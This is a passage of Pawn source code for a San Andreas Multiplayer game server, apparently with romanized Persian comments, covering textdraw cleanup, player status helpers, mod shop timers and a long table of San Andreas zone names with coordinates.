PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
}
else if(OnMashinKharidan[playerid] == 1) {
DestroyVehicle(vhid[playerid]);
TextDrawHideForPlayer(playerid, TestModel);
TextDrawHideForPlayer(playerid, BuyModel);
TextDrawHideForPlayer(playerid, NextModel);
TextDrawHideForPlayer(playerid, PrevModel);
TextDrawHideForPlayer(playerid, ExitDS);
TextDrawHideForPlayer(playerid, RotModel);
TextDrawHideForPlayer(playerid, RotModel2);
PlayerTextDrawHide(playerid, CarModel[playerid]);
PlayerTextDrawHide(playerid, PriceModel[playerid]);
OnMashinKharidan[playerid] = 0;
SetPlayerPos(playerid, 325.5731,-1514.8918,36.0325);
CancelSelectTextDraw(playerid);
SetCameraBehindPlayer(playerid);
SetPlayerVirtualWorld(playerid, 0);
}
return 1;
}
/*
public OnPlayerFall(playerid, Float:damage) {
new hah[256];
format(hah, sizeof(hah), "OnPlayerFall %f",damage);
SCM(playerid, COLOR_WHITE, hah);
return 1;
}

public OnPlayerBurning(playerid, status) {
new hah[256];
format(hah, sizeof(hah), "OnPlayerBurning %d",status);
SCM(playerid, COLOR_WHITE, hah);
return 1;
}
public OnPlayerUseCamera(playerid) {
new hah[256];
format(hah, sizeof(hah), "OnPlayerUseCamera");
SCM(playerid, COLOR_WHITE, hah);
return 1;
}
public OnPlayerSprayAtVehicle(playerid, vehicleid) {
new hah[256];
format(hah, sizeof(hah), "Spray at %d",vehicleid);
SCM(playerid, COLOR_WHITE, hah);
return 1;
}
public OnPlayerActionChange(playerid, oldaction, newaction) {
new hah[256];
format(hah, sizeof(hah), "ActionChange %d to %d",oldaction,newaction);
SCM(playerid, COLOR_WHITE, hah);
return 1;
}
*/
// ENd
// Wanted dare?
HasWanted(playerid)
{
	if(GetPlayerWantedLevel(playerid) >= 1) return 1;
	return 0;
}
// na nadare :DD Ranger
/* ========================[IsAtJail]===================================== */
IsAtjail(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerInfo[playerid][pJailTime] >= 1)
		{
		   return 1;
		}
	}
	return 0;
}
IsStaff(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pHelper] >= 1 || PlayerInfo[playerid][pLeader] >= 1)
		{
		   return 1;
		}
	}
	return 0;
}
/* =========================[IsAtJail End]================================ */
/*----------------------------------------------------------------------------*/
public OnEnterExitModShop(playerid, enterexit, interiorid)
{
	if(enterexit == 1) {
		InModShop[playerid] = 1;
		ModShopS[playerid] = 1;
	}
	if(enterexit == 0)
	{
	   SetTimerEx("KamKonTune", 700, 0, "i", playerid);
		SetTimerEx("ModShopExit", 5000, 0, "i", playerid);
		InModShop[playerid] = 0;
	}
	return 1;
}
forward ModShopExit(playerid);
public ModShopExit(playerid) {
ModShopS[playerid] = 0;

for(new i = 0; i < Akharish; i++)
{
if(IsPlayerConnected(i))
{
if(IsPlayerInAnyVehicle(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid)) {
new vh1,vh2;
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
//PlayerTextDrawHide(i, CarTD);
//PlayerTextDrawSetPreviewVehCol(i, CarTD, vh1, vh2);
//PlayerTextDrawShow(i, CarTD);
}
}
}

return 1;
}
/*--------------------------------Places Name---------------------------------*/

static const gSAZones[][SAZONE_MAIN] = {
	{"The Big Ear",                 {-410.00,1403.30,-3.00,-137.90,1681.20,200.00}},
	{"Aldea Malvada",               {-1372.10,2498.50,0.00,-1277.50,2615.30,200.00}},
	{"Angel Pine",                  {-2324.90,-2584.20,-6.10,-1964.20,-2212.10,200.00}},
	{"Arco del Oeste",              {-901.10,2221.80,0.00,-592.00,2571.90,200.00}},
	{"Avispa Country Club",         {-2646.40,-355.40,0.00,-2270.00,-222.50,200.00}},
	{"Avispa Country Club",         {-2831.80,-430.20,-6.10,-2646.40,-222.50,200.00}},
	{"Avispa Country Club",         {-2361.50,-417.10,0.00,-2270.00,-355.40,200.00}},
	{"Avispa Country Club",         {-2667.80,-302.10,-28.80,-2646.40,-262.30,71.10}},
	{"Avispa Country Club",         {-2470.00,-355.40,0.00,-2270.00,-318.40,46.10}},
	{"Avispa Country Club",         {-2550.00,-355.40,0.00,-2470.00,-318.40,39.70}},
	{"Back o Beyond",               {-1166.90,-2641.10,0.00,-321.70,-1856.00,200.00}},
	{"Battery Point",               {-2741.00,1268.40,-4.50,-2533.00,1490.40,200.00}},
	{"Bayside",                     {-2741.00,2175.10,0.00,-2353.10,2722.70,200.00}},
	{"Bayside Marina",              {-2353.10,2275.70,0.00,-2153.10,2475.70,200.00}},
	{"Beacon Hill",                 {-399.60,-1075.50,-1.40,-319.00,-977.50,198.50}},
	{"Blackfield",                  {964.30,1203.20,-89.00,1197.30,1403.20,110.90}},
	{"Blackfield",                  {964.30,1403.20,-89.00,1197.30,1726.20,110.90}},
	{"Blackfield Chapel",           {1375.60,596.30,-89.00,1558.00,823.20,110.90}},
	{"Blackfield Chapel",           {1325.60,596.30,-89.00,1375.60,795.00,110.90}},
	{"Blackfield Intersection",     {1197.30,1044.60,-89.00,1277.00,1163.30,110.90}},
	{"Blackfield Intersection",     {1166.50,795.00,-89.00,1375.60,1044.60,110.90}},
	{"Blackfield Intersection",     {1277.00,1044.60,-89.00,1315.30,1087.60,110.90}},
	{"Blackfield Intersection",     {1375.60,823.20,-89.00,1457.30,919.40,110.90}},
	{"Blueberry",                   {104.50,-220.10,2.30,349.60,152.20,200.00}},
	{"Blueberry",                   {19.60,-404.10,3.80,349.60,-220.10,200.00}},
	{"Blueberry Acres",             {-319.60,-220.10,0.00,104.50,293.30,200.00}},
	{"Caligula's Palace",           {2087.30,1543.20,-89.00,2437.30,1703.20,110.90}},
	{"Caligula's Palace",           {2137.40,1703.20,-89.00,2437.30,1783.20,110.90}},
	{"Calton Heights",              {-2274.10,744.10,-6.10,-1982.30,1358.90,200.00}},
	{"Chinatown",                   {-2274.10,578.30,-7.60,-2078.60,744.10,200.00}},
	{"City Hall",                   {-2867.80,277.40,-9.10,-2593.40,458.40,200.00}},
	{"Come-A-Lot",                  {2087.30,943.20,-89.00,2623.10,1203.20,110.90}},
	{"Commerce",                    {1323.90,-1842.20,-89.00,1701.90,-1722.20,110.90}},
	{"Commerce",                    {1323.90,-1722.20,-89.00,1440.90,-1577.50,110.90}},
	{"Commerce",                    {1370.80,-1577.50,-89.00,1463.90,-1384.90,110.90}},
	{"Commerce",                    {1463.90,-1577.50,-89.00,1667.90,-1430.80,110.90}},
	{"Commerce",                    {1583.50,-1722.20,-89.00,1758.90,-1577.50,110.90}},
	{"Commerce",                    {1667.90,-1577.50,-89.00,1812.60,-1430.80,110.90}},
	{"Conference Center",           {1046.10,-1804.20,-89.00,1323.90,-1722.20,110.90}},
	{"Conference Center",           {1073.20,-1842.20,-89.00,1323.90,-1804.20,110.90}},
	{"Cranberry Station",           {-2007.80,56.30,0.00,-1922.00,224.70,100.00}},
	{"Creek",                       {2749.90,1937.20,-89.00,2921.60,2669.70,110.90}},
	{"Dillimore",                   {580.70,-674.80,-9.50,861.00,-404.70,200.00}},
	{"Doherty",                     {-2270.00,-324.10,-0.00,-1794.90,-222.50,200.00}},
	{"Doherty",                     {-2173.00,-222.50,-0.00,-1794.90,265.20,200.00}},
	{"Downtown",                    {-1982.30,744.10,-6.10,-1871.70,1274.20,200.00}},
	{"Downtown",                    {-1871.70,1176.40,-4.50,-1620.30,1274.20,200.00}},
	{"Downtown",                    {-1700.00,744.20,-6.10,-1580.00,1176.50,200.00}},
	{"Downtown",                    {-1580.00,744.20,-6.10,-1499.80,1025.90,200.00}},
	{"Downtown",                    {-2078.60,578.30,-7.60,-1499.80,744.20,200.00}},
	{"Downtown",                    {-1993.20,265.20,-9.10,-1794.90,578.30,200.00}},
	{"Downtown Los Santos",         {1463.90,-1430.80,-89.00,1724.70,-1290.80,110.90}},
	{"Downtown Los Santos",         {1724.70,-1430.80,-89.00,1812.60,-1250.90,110.90}},
	{"Downtown Los Santos",         {1463.90,-1290.80,-89.00,1724.70,-1150.80,110.90}},
	{"Downtown Los Santos",         {1370.80,-1384.90,-89.00,1463.90,-1170.80,110.90}},
	{"Downtown Los Santos",         {1724.70,-1250.90,-89.00,1812.60,-1150.80,110.90}},
	{"Downtown Los Santos",         {1370.80,-1170.80,-89.00,1463.90,-1130.80,110.90}},
	{"Downtown Los Santos",         {1378.30,-1130.80,-89.00,1463.90,-1026.30,110.90}},
	{"Downtown Los Santos",         {1391.00,-1026.30,-89.00,1463.90,-926.90,110.90}},
	{"Downtown Los Santos",         {1507.50,-1385.20,110.90,1582.50,-1325.30,335.90}},
	{"East Beach",                  {2632.80,-1852.80,-89.00,2959.30,-1668.10,110.90}},
	{"East Beach",                  {2632.80,-1668.10,-89.00,2747.70,-1393.40,110.90}},
	{"East Beach",                  {2747.70,-1668.10,-89.00,2959.30,-1498.60,110.90}},
	{"East Beach",                  {2747.70,-1498.60,-89.00,2959.30,-1120.00,110.90}},
	{"East Los Santos",             {2421.00,-1628.50,-89.00,2632.80,-1454.30,110.90}},
	{"East Los Santos",             {2222.50,-1628.50,-89.00,2421.00,-1494.00,110.90}},
	{"East Los Santos",             {2266.20,-1494.00,-89.00,2381.60,-1372.00,110.90}},
	{"East Los Santos",             {2381.60,-1494.00,-89.00,2421.00,-1454.30,110.90}},
	{"East Los Santos",             {2281.40,-1372.00,-89.00,2381.60,-1135.00,110.90}},
	{"East Los Santos",             {2381.60,-1454.30,-89.00,2462.10,-1135.00,110.90}},
	{"East Los Santos",             {2462.10,-1454.30,-89.00,2581.70,-1135.00,110.90}},
	{"Easter Basin",                {-1794.90,249.90,-9.10,-1242.90,578.30,200.00}},
	{"Easter Basin",                {-1794.90,-50.00,-0.00,-1499.80,249.90,200.00}},
	{"Easter Bay Airport",          {-1499.80,-50.00,-0.00,-1242.90,249.90,200.00}},
	{"Easter Bay Airport",          {-1794.90,-730.10,-3.00,-1213.90,-50.00,200.00}},
	{"Easter Bay Airport",          {-1213.90,-730.10,0.00,-1132.80,-50.00,200.00}},
	{"Easter Bay Airport",          {-1242.90,-50.00,0.00,-1213.90,578.30,200.00}},
	{"Easter Bay Airport",          {-1213.90,-50.00,-4.50,-947.90,578.30,200.00}},
	{"Easter Bay Airport",          {-1315.40,-405.30,15.40,-1264.40,-209.50,25.40}},
	{"Easter Bay Airport",          {-1354.30,-287.30,15.40,-1315.40,-209.50,25.40}},
	{"Easter Bay Airport",          {-1490.30,-209.50,15.40,-1264.40,-148.30,25.40}},
	{"Easter Bay Chemicals",        {-1132.80,-768.00,0.00,-956.40,-578.10,200.00}},
	{"Easter Bay Chemicals",        {-1132.80,-787.30,0.00,-956.40,-768.00,200.00}},
	{"El Castillo del Diablo",      {-464.50,2217.60,0.00,-208.50,2580.30,200.00}},
	{"El Castillo del Diablo",      {-208.50,2123.00,-7.60,114.00,2337.10,200.00}},
	{"El Castillo del Diablo",      {-208.50,2337.10,0.00,8.40,2487.10,200.00}},
	{"El Corona",                   {1812.60,-2179.20,-89.00,1970.60,-1852.80,110.90}},
	{"El Corona",                   {1692.60,-2179.20,-89.00,1812.60,-1842.20,110.90}},
	{"El Quebrados",                {-1645.20,2498.50,0.00,-1372.10,2777.80,200.00}},
	{"Esplanade East",              {-1620.30,1176.50,-4.50,-1580.00,1274.20,200.00}},
	{"Esplanade East",              {-1580.00,1025.90,-6.10,-1499.80,1274.20,200.00}},
	{"Esplanade East",              {-1499.80,578.30,-79.60,-1339.80,1274.20,20.30}},
	{"Esplanade North",             {-2533.00,1358.90,-4.50,-1996.60,1501.20,200.00}},
	{"Esplanade North",             {-1996.60,1358.90,-4.50,-1524.20,1592.50,200.00}},
	{"Esplanade North",             {-1982.30,1274.20,-4.50,-1524.20,1358.90,200.00}},
	{"Fallen Tree",                 {-792.20,-698.50,-5.30,-452.40,-380.00,200.00}},
	{"Fallow Bridge",               {434.30,366.50,0.00,603.00,555.60,200.00}},
	{"Fern Ridge",                  {508.10,-139.20,0.00,1306.60,119.50,200.00}},
	{"Financial",                   {-1871.70,744.10,-6.10,-1701.30,1176.40,300.00}},
	{"Fisher's Lagoon",             {1916.90,-233.30,-100.00,2131.70,13.80,200.00}},
	{"Flint Intersection",          {-187.70,-1596.70,-89.00,17.00,-1276.60,110.90}},
	{"Flint Range",                 {-594.10,-1648.50,0.00,-187.70,-1276.60,200.00}},
	{"Fort Carson",                 {-376.20,826.30,-3.00,123.70,1220.40,200.00}},
	{"Foster Valley",               {-2270.00,-430.20,-0.00,-2178.60,-324.10,200.00}},
	{"Foster Valley",               {-2178.60,-599.80,-0.00,-1794.90,-324.10,200.00}},
	{"Foster Valley",               {-2178.60,-1115.50,0.00,-1794.90,-599.80,200.00}},
	{"Foster Valley",               {-2178.60,-1250.90,0.00,-1794.90,-1115.50,200.00}},
	{"Frederick Bridge",            {2759.20,296.50,0.00,2774.20,594.70,200.00}},
	{"Gant Bridge",                 {-2741.40,1659.60,-6.10,-2616.40,2175.10,200.00}},
	{"Gant Bridge",                 {-2741.00,1490.40,-6.10,-2616.40,1659.60,200.00}},
	{"Ganton",                      {2222.50,-1852.80,-89.00,2632.80,-1722.30,110.90}},
	{"Ganton",                      {2222.50,-1722.30,-89.00,2632.80,-1628.50,110.90}},
	{"Garcia",                      {-2411.20,-222.50,-0.00,-2173.00,265.20,200.00}},
	{"Garcia",                      {-2395.10,-222.50,-5.30,-2354.00,-204.70,200.00}},
	{"Garver Bridge",               {-1339.80,828.10,-89.00,-1213.90,1057.00,110.90}},
	{"Garver Bridge",               {-1213.90,950.00,-89.00,-1087.90,1178.90,110.90}},
	{"Garver Bridge",               {-1499.80,696.40,-179.60,-1339.80,925.30,20.30}},
	{"Glen Park",                   {1812.60,-1449.60,-89.00,1996.90,-1350.70,110.90}},
	{"Glen Park",                   {1812.60,-1100.80,-89.00,1994.30,-973.30,110.90}},
	{"Glen Park",                   {1812.60,-1350.70,-89.00,2056.80,-1100.80,110.90}},
	{"Green Palms",                 {176.50,1305.40,-3.00,338.60,1520.70,200.00}},
	{"Greenglass College",          {964.30,1044.60,-89.00,1197.30,1203.20,110.90}},
	{"Greenglass College",          {964.30,930.80,-89.00,1166.50,1044.60,110.90}},
	{"Hampton Barns",               {603.00,264.30,0.00,761.90,366.50,200.00}},
	{"Hankypanky Point",            {2576.90,62.10,0.00,2759.20,385.50,200.00}},
	{"Harry Gold Parkway",          {1777.30,863.20,-89.00,1817.30,2342.80,110.90}},
	{"Hashbury",                    {-2593.40,-222.50,-0.00,-2411.20,54.70,200.00}},
	{"Hilltop Farm",                {967.30,-450.30,-3.00,1176.70,-217.90,200.00}},
	{"Hunter Quarry",               {337.20,710.80,-115.20,860.50,1031.70,203.70}},
	{"Idlewood",                    {1812.60,-1852.80,-89.00,1971.60,-1742.30,110.90}},
	{"Idlewood",                    {1812.60,-1742.30,-89.00,1951.60,-1602.30,110.90}},
	{"Idlewood",                    {1951.60,-1742.30,-89.00,2124.60,-1602.30,110.90}},
	{"Idlewood",                    {1812.60,-1602.30,-89.00,2124.60,-1449.60,110.90}},
	{"Idlewood",                    {2124.60,-1742.30,-89.00,2222.50,-1494.00,110.90}},
	{"Idlewood",                    {1971.60,-1852.80,-89.00,2222.50,-1742.30,110.90}},
	{"Jefferson",                   {1996.90,-1449.60,-89.00,2056.80,-1350.70,110.90}},
	{"Jefferson",                   {2124.60,-1494.00,-89.00,2266.20,-1449.60,110.90}},
	{"Jefferson",                   {2056.80,-1372.00,-89.00,2281.40,-1210.70,110.90}},
	{"Jefferson",                   {2056.80,-1210.70,-89.00,2185.30,-1126.30,110.90}},
	{"Jefferson",                   {2185.30,-1210.70,-89.00,2281.40,-1154.50,110.90}},
	{"Jefferson",                   {2056.80,-1449.60,-89.00,2266.20,-1372.00,110.90}},
	{"Julius Thruway East",         {2623.10,943.20,-89.00,2749.90,1055.90,110.90}},
	{"Julius Thruway East",         {2685.10,1055.90,-89.00,2749.90,2626.50,110.90}},
	{"Julius Thruway East",         {2536.40,2442.50,-89.00,2685.10,2542.50,110.90}},
	{"Julius Thruway East",         {2625.10,2202.70,-89.00,2685.10,2442.50,110.90}},
	{"Julius Thruway North",        {2498.20,2542.50,-89.00,2685.10,2626.50,110.90}},
	{"Julius Thruway North",        {2237.40,2542.50,-89.00,2498.20,2663.10,110.90}},
	{"Julius Thruway North",        {2121.40,2508.20,-89.00,2237.40,2663.10,110.90}},
	{"Julius Thruway North",        {1938.80,2508.20,-89.00,2121.40,2624.20,110.90}},
	{"Julius Thruway North",        {1534.50,2433.20,-89.00,1848.40,2583.20,110.90}},
	{"Julius Thruway North",        {1848.40,2478.40,-89.00,1938.80,2553.40,110.90}},
	{"Julius Thruway North",        {1704.50,2342.80,-89.00,1848.40,2433.20,110.90}},
	{"Julius Thruway North",        {1377.30,2433.20,-89.00,1534.50,2507.20,110.90}},
	{"Julius Thruway South",        {1457.30,823.20,-89.00,2377.30,863.20,110.90}},
	{"Julius Thruway South",        {2377.30,788.80,-89.00,2537.30,897.90,110.90}},
	{"Julius Thruway West",         {1197.30,1163.30,-89.00,1236.60,2243.20,110.90}},
	{"Julius Thruway West",         {1236.60,2142.80,-89.00,1297.40,2243.20,110.90}},
	{"Juniper Hill",                {-2533.00,578.30,-7.60,-2274.10,968.30,200.00}},
	{"Juniper Hollow",              {-2533.00,968.30,-6.10,-2274.10,1358.90,200.00}},
	{"K.A.C.C. Military Fuels",     {2498.20,2626.50,-89.00,2749.90,2861.50,110.90}},
	{"Kincaid Bridge",              {-1339.80,599.20,-89.00,-1213.90,828.10,110.90}},
	{"Kincaid Bridge",              {-1213.90,721.10,-89.00,-1087.90,950.00,110.90}},
	{"Kincaid Bridge",              {-1087.90,855.30,-89.00,-961.90,986.20,110.90}},
	{"King's",                      {-2329.30,458.40,-7.60,-1993.20,578.30,200.00}},
	{"King's",                      {-2411.20,265.20,-9.10,-1993.20,373.50,200.00}},
	{"King's",                      {-2253.50,373.50,-9.10,-1993.20,458.40,200.00}},
	{"LVA Freight Depot",           {1457.30,863.20,-89.00,1777.40,1143.20,110.90}},
	{"LVA Freight Depot",           {1375.60,919.40,-89.00,1457.30,1203.20,110.90}},
	{"LVA Freight Depot",           {1277.00,1087.60,-89.00,1375.60,1203.20,110.90}},
	{"LVA Freight Depot",           {1315.30,1044.60,-89.00,1375.60,1087.60,110.90}},
	{"LVA Freight Depot",           {1236.60,1163.40,-89.00,1277.00,1203.20,110.90}},
	{"Las Barrancas",               {-926.10,1398.70,-3.00,-719.20,1634.60,200.00}},
	{"Las Brujas",                  {-365.10,2123.00,-3.00,-208.50,2217.60,200.00}},
	{"Las Colinas",                 {1994.30,-1100.80,-89.00,2056.80,-920.80,110.90}},
	{"Las Colinas",                 {2056.80,-1126.30,-89.00,2126.80,-920.80,110.90}},
	{"Las Colinas",                 {2185.30,-1154.50,-89.00,2281.40,-934.40,110.90}},
	{"Las Colinas",                 {2126.80,-1126.30,-89.00,2185.30,-934.40,110.90}},
	{"Las Colinas",                 {2747.70,-1120.00,-89.00,2959.30,-945.00,110.90}},
	{"Las Colinas",                 {2632.70,-1135.00,-89.00,2747.70,-945.00,110.90}},
	{"Las Colinas",                 {2281.40,-1135.00,-89.00,2632.70,-945.00,110.90}},
	{"Las Payasadas",               {-354.30,2580.30,2.00,-133.60,2816.80,200.00}},
	{"Las Venturas Airport",        {1236.60,1203.20,-89.00,1457.30,1883.10,110.90}},
	{"Las Venturas Airport",        {1457.30,1203.20,-89.00,1777.30,1883.10,110.90}},
	{"Las Venturas Airport",        {1457.30,1143.20,-89.00,1777.40,1203.20,110.90}},
	{"Las Venturas Airport",        {1515.80,1586.40,-12.50,1729.90,1714.50,87.50}},
	{"Last Dime Motel",             {1823.00,596.30,-89.00,1997.20,823.20,110.90}},
	{"Leafy Hollow",                {-1166.90,-1856.00,0.00,-815.60,-1602.00,200.00}},
	{"Liberty City",                {-1000.00,400.00,1300.00,-700.00,600.00,1400.00}},
	{"Lil' Probe Inn",              {-90.20,1286.80,-3.00,153.80,1554.10,200.00}},
	{"Linden Side",                 {2749.90,943.20,-89.00,2923.30,1198.90,110.90}},
	{"Linden Station",              {2749.90,1198.90,-89.00,2923.30,1548.90,110.90}},
	{"Linden Station",              {2811.20,1229.50,-39.50,2861.20,1407.50,60.40}},
	{"Little Mexico",               {1701.90,-1842.20,-89.00,1812.60,-1722.20,110.90}},
	{"Little Mexico",               {1758.90,-1722.20,-89.00,1812.60,-1577.50,110.90}},
	{"Los Flores",                  {2581.70,-1454.30,-89.00,2632.80,-1393.40,110.90}},
	{"Los Flores",                  {2581.70,-1393.40,-89.00,2747.70,-1135.00,110.90}},
	{"Los Santos International",    {1249.60,-2394.30,-89.00,1852.00,-2179.20,110.90}},
	{"Los Santos International",    {1852.00,-2394.30,-89.00,2089.00,-2179.20,110.90}},
	{"Los Santos International",    {1382.70,-2730.80,-89.00,2201.80,-2394.30,110.90}},
	{"Los Santos International",    {1974.60,-2394.30,-39.00,2089.00,-2256.50,60.90}},
	{"Los Santos International",    {1400.90,-2669.20,-39.00,2189.80,-2597.20,60.90}},
	{"Los Santos International",    {2051.60,-2597.20,-39.00,2152.40,-2394.30,60.90}},
	{"Marina",                      {647.70,-1804.20,-89.00,851.40,-1577.50,110.90}},
	{"Marina",                      {647.70,-1577.50,-89.00,807.90,-1416.20,110.90}},
	{"Marina",                      {807.90,-1577.50,-89.00,926.90,-1416.20,110.90}},
	{"Market",                      {787.40,-1416.20,-89.00,1072.60,-1310.20,110.90}},
	{"Market",                      {952.60,-1310.20,-89.00,1072.60,-1130.80,110.90}},
	{"Market",                      {1072.60,-1416.20,-89.00,1370.80,-1130.80,110.90}},
	{"Market",                      {926.90,-1577.50,-89.00,1370.80,-1416.20,110.90}},
	{"Market Station",              {787.40,-1410.90,-34.10,866.00,-1310.20,65.80}},
	{"Martin Bridge",               {-222.10,293.30,0.00,-122.10,476.40,200.00}},
	{"Missionary Hill",             {-2994.40,-811.20,0.00,-2178.60,-430.20,200.00}},
	{"Montgomery",                  {1119.50,119.50,-3.00,1451.40,493.30,200.00}},
	{"Montgomery",                  {1451.40,347.40,-6.10,1582.40,420.80,200.00}},
	{"Montgomery Intersection",     {1546.60,208.10,0.00,1745.80,347.40,200.00}},
	{"Montgomery Intersection",     {1582.40,347.40,0.00,1664.60,401.70,200.00}},
	{"Mulholland",                  {1414.00,-768.00,-89.00,1667.60,-452.40,110.90}},
	{"Mulholland",                  {1281.10,-452.40,-89.00,1641.10,-290.90,110.90}},
	{"Mulholland",                  {1269.10,-768.00,-89.00,1414.00,-452.40,110.90}},
	{"Mulholland",                  {1357.00,-926.90,-89.00,1463.90,-768.00,110.90}},
	{"Mulholland",                  {1318.10,-910.10,-89.00,1357.00,-768.00,110.90}},
	{"Mulholland",                  {1169.10,-910.10,-89.00,1318.10,-768.00,110.90}},
	{"Mulholland",                  {768.60,-954.60,-89.00,952.60,-860.60,110.90}},
	{"Mulholland",                  {687.80,-860.60,-89.00,911.80,-768.00,110.90}},
	{"Mulholland",                  {737.50,-768.00,-89.00,1142.20,-674.80,110.90}},
	{"Mulholland",                  {1096.40,-910.10,-89.00,1169.10,-768.00,110.90}},
	{"Mulholland",                  {952.60,-937.10,-89.00,1096.40,-860.60,110.90}},
	{"Mulholland",                  {911.80,-860.60,-89.00,1096.40,-768.00,110.90}},
	{"Mulholland",                  {861.00,-674.80,-89.00,1156.50,-600.80,110.90}},
	{"Mulholland Intersection",     {1463.90,-1150.80,-89.00,1812.60,-768.00,110.90}},
	{"North Rock",                  {2285.30,-768.00,0.00,2770.50,-269.70,200.00}},
	{"Ocean Docks",                 {2373.70,-2697.00,-89.00,2809.20,-2330.40,110.90}},
	{"Ocean Docks",                 {2201.80,-2418.30,-89.00,2324.00,-2095.00,110.90}},
	{"Ocean Docks",                 {2324.00,-2302.30,-89.00,2703.50,-2145.10,110.90}},
	{"Ocean Docks",                 {2089.00,-2394.30,-89.00,2201.80,-2235.80,110.90}},
	{"Ocean Docks",                 {2201.80,-2730.80,-89.00,2324.00,-2418.30,110.90}},
	{"Ocean Docks",                 {2703.50,-2302.30,-89.00,2959.30,-2126.90,110.90}},
	{"Ocean Docks",                 {2324.00,-2145.10,-89.00,2703.50,-2059.20,110.90}},
	{"Ocean Flats",                 {-2994.40,277.40,-9.10,-2867.80,458.40,200.00}},
	{"Ocean Flats",                 {-2994.40,-222.50,-0.00,-2593.40,277.40,200.00}},
	{"Ocean Flats",                 {-2994.40,-430.20,-0.00,-2831.80,-222.50,200.00}},
	{"Octane Springs",              {338.60,1228.50,0.00,664.30,1655.00,200.00}},
	{"Old Venturas Strip",          {2162.30,2012.10,-89.00,2685.10,2202.70,110.90}},
	{"Palisades",                   {-2994.40,458.40,-6.10,-2741.00,1339.60,200.00}},
	{"Palomino Creek",              {2160.20,-149.00,0.00,2576.90,228.30,200.00}},
	{"Paradiso",                    {-2741.00,793.40,-6.10,-2533.00,1268.40,200.00}},
	{"Pershing Square",             {1440.90,-1722.20,-89.00,1583.50,-1577.50,110.90}},
	{"Pilgrim",                     {2437.30,1383.20,-89.00,2624.40,1783.20,110.90}},
	{"Pilgrim",                     {2624.40,1383.20,-89.00,2685.10,1783.20,110.90}},
	{"Pilson Intersection",         {1098.30,2243.20,-89.00,1377.30,2507.20,110.90}},
	{"Pirates in Men's Pants",      {1817.30,1469.20,-89.00,2027.40,1703.20,110.90}},
	{"Playa del Seville",           {2703.50,-2126.90,-89.00,2959.30,-1852.80,110.90}},
	{"Prickle Pine",                {1534.50,2583.20,-89.00,1848.40,2863.20,110.90}},
	{"Prickle Pine",                {1117.40,2507.20,-89.00,1534.50,2723.20,110.90}},
	{"Prickle Pine",                {1848.40,2553.40,-89.00,1938.80,2863.20,110.90}},
	{"Prickle Pine",                {1938.80,2624.20,-89.00,2121.40,2861.50,110.90}},
	{"Queens",                      {-2533.00,458.40,0.00,-2329.30,578.30,200.00}},
	{"Queens",                      {-2593.40,54.70,0.00,-2411.20,458.40,200.00}},
	{"Queens",                      {-2411.20,373.50,0.00,-2253.50,458.40,200.00}},
	{"Randolph Industrial Estate",  {1558.00,596.30,-89.00,1823.00,823.20,110.90}},
	{"Redsands East",               {1817.30,2011.80,-89.00,2106.70,2202.70,110.90}},
	{"Redsands East",               {1817.30,2202.70,-89.00,2011.90,2342.80,110.90}},
	{"Redsands East",               {1848.40,2342.80,-89.00,2011.90,2478.40,110.90}},
	{"Redsands West",               {1236.60,1883.10,-89.00,1777.30,2142.80,110.90}},
	{"Redsands West",               {1297.40,2142.80,-89.00,1777.30,2243.20,110.90}},
	{"Redsands West",               {1377.30,2243.20,-89.00,1704.50,2433.20,110.90}},
	{"Redsands West",               {1704.50,2243.20,-89.00,1777.30,2342.80,110.90}},
	{"Regular Tom",                 {-405.70,1712.80,-3.00,-276.70,1892.70,200.00}},
	{"Richman",                     {647.50,-1118.20,-89.00,787.40,-954.60,110.90}},
	{"Richman",                     {647.50,-954.60,-89.00,768.60,-860.60,110.90}},
	{"Richman",                     {225.10,-1369.60,-89.00,334.50,-1292.00,110.90}},
	{"Richman",                     {225.10,-1292.00,-89.00,466.20,-1235.00,110.90}},
	{"Richman",                     {72.60,-1404.90,-89.00,225.10,-1235.00,110.90}},
	{"Richman",                     {72.60,-1235.00,-89.00,321.30,-1008.10,110.90}},
	{"Richman",                     {321.30,-1235.00,-89.00,647.50,-1044.00,110.90}},
	{"Richman",                     {321.30,-1044.00,-89.00,647.50,-860.60,110.90}},
	{"Richman",                     {321.30,-860.60,-89.00,687.80,-768.00,110.90}},
	{"Richman",                     {321.30,-768.00,-89.00,700.70,-674.80,110.90}},
	{"Robada Intersection",         {-1119.00,1178.90,-89.00,-862.00,1351.40,110.90}},
	{"Roca Escalante",              {2237.40,2202.70,-89.00,2536.40,2542.50,110.90}},
	{"Roca Escalante",              {2536.40,2202.70,-89.00,2625.10,2442.50,110.90}},
	{"Rockshore East",              {2537.30,676.50,-89.00,2902.30,943.20,110.90}},
	{"Rockshore West",              {1997.20,596.30,-89.00,2377.30,823.20,110.90}},
	{"Rockshore West",              {2377.30,596.30,-89.00,2537.30,788.80,110.90}},
	{"Rodeo",                       {72.60,-1684.60,-89.00,225.10,-1544.10,110.90}},
	{"Rodeo",                       {72.60,-1544.10,-89.00,225.10,-1404.90,110.90}},
	{"Rodeo",                       {225.10,-1684.60,-89.00,312.80,-1501.90,110.90}},
	{"Rodeo",                       {225.10,-1501.90,-89.00,334.50,-1369.60,110.90}},
	{"Rodeo",                       {334.50,-1501.90,-89.00,422.60,-1406.00,110.90}},
	{"Rodeo",                       {312.80,-1684.60,-89.00,422.60,-1501.90,110.90}},
	{"Rodeo",                       {422.60,-1684.60,-89.00,558.00,-1570.20,110.90}},
	{"Rodeo",                       {558.00,-1684.60,-89.00,647.50,-1384.90,110.90}},
	{"Rodeo",                       {466.20,-1570.20,-89.00,558.00,-1385.00,110.90}},
